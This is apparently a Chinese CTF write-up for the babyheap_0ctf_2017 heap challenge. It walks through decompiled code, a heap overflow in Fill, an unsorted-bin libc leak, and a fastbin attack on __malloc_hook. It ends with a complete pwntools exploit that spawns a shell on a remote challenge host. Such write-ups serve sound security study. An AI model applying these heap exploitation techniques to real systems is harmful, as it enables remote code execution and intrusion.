checksec查看,保护全开,可以查看是否有堆的漏洞

1
2
3
4
5
6
[*] '/home/bronya/Documents/CTF/pwn18/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

ida查看:

main函数提供了菜单以及选择功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v4; // [rsp+8h] [rbp-8h]

v4 = sub_B70();
while ( 1 )
{
sub_CF4();
switch ( sub_138C() )
{
case 1LL:
Allocate(v4);
break;
case 2LL:
Fill(v4);
break;
case 3LL:
Free(v4);
break;
case 4LL:
Dump(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}

allocate函数根据大小申请堆空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall Allocate(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = v2;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}

Fill函数向指定index堆块写入内容,注意此处没有对大小进行限制,因此可以考虑fastbin attack劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = sub_138C();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}

Dump函数打印指定index的内容,可以用于泄漏main_arena地址,进一步泄漏libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall Dump(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
return puts(byte_14F1);
}
}
return result;
}

因此答题思路为unsortedbin attack泄漏libc基址,fastbin attack劫持malloc_hook,使用one_gadget getshell

Step1: 泄漏Libc基址

注:当small chunk被释放时,它的fd,bk指向同一个指针即top chunk地址,这个地址保存在main_arena的0x58偏移处,而main_arena在libc的data段中,是全局静态变量,偏移也是固定的,根据这些可以计算出libc的基址。因此只需要当small chunk释放后,还可以打印出其值。

首先申请一些小堆块,然后free掉id 1,2,利用堆溢出漏洞,将chunk2 fd指针修改为chunk4地址,相当于chunk4已经free并且为fastbin,然后要malloc回chunk4,不过由于有大小检查,需要修改chunk4的大小,通过修改chunk3来实现。这样可以实现将small chunk放入fastbin中的效果。注,此时有两个指针指向同一个chunk4,此时将chunk4大小修改回原来值,将正常的chunk4 free掉,就可以令其fd,bk指针指向top_chunk,同时新申请的也指向了chunk4,可以用于查看fd,bk值。由此可以计算出libc值

Step2: 修改malloc_hook为one_gadget

使用fastbin attack构造fake chunk修改malloc_hook指针地址即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *

context(arch='amd64', log_level='debug')

# p = process('./babyheap_0ctf_2017')
p = remote('node5.buuoj.cn', 25147)
"""
struct {
1, (8) # 表示是否allocate
size: , (8)
content pointer: , (8)
}
"""

def allocate(size):
p.sendlineafter(b'Command: ', b'1')
p.sendlineafter(b'Size: ', str(size))

def fill(index, size, content):
p.sendlineafter(b'Command: ', b'2')
p.sendlineafter(b'Index: ', index)
p.sendlineafter(b'Size: ', str(size))
p.sendlineafter(b'Content: ', content)

def free(index):
p.sendlineafter(b'Command: ', b'3')
p.sendlineafter(b'Index: ', index)

def dump(index):
p.sendlineafter(b'Command: ', b'4')
p.sendlineafter(b'Index: ', index)
p.recvline()
return p.recvline()

"""
heap overflow
1. 泄漏libc基址
2. 修改libc中malloc_hook地址为one_gadget
"""

# Step1: 泄漏libc基址
# gdb.attach(p, 'b *$rebase(0x0000000000001142)')
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

free(b'1')
free(b'2')

payload = flat(b'\x00'*0x18, 0x21, b'\x00'*0x18, 0x21, p8(0x80))
fill(b'0', len(payload), payload)

payload = flat(b'\x00'*0x18, 0x21)
fill(b'3', len(payload), payload)

allocate(0x10)
allocate(0x10)

payload = flat(b'\x00'*0x18, 0x91)
fill(b'3', len(payload), payload)

allocate(0x80)
free(b'4')

libc_addr = u64(dump(b'2')[:8].ljust(8, b'\x00')) - 0x3c4b78
success(hex(libc_addr))


# Step2: 劫持malloc_hook
fake_chunk = libc_addr + 0x3c4aed
allocate(0x60)
free(b'4')
payload = flat(fake_chunk)
fill(b'2', len(payload), payload)
allocate(0x60)
allocate(0x60)
"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

"""
one_gadget = libc_addr + 0x4526a
payload = flat(p8(0)*3, 0, 0, one_gadget)
fill(b'6', len(payload), payload)
allocate(0x90)

p.interactive()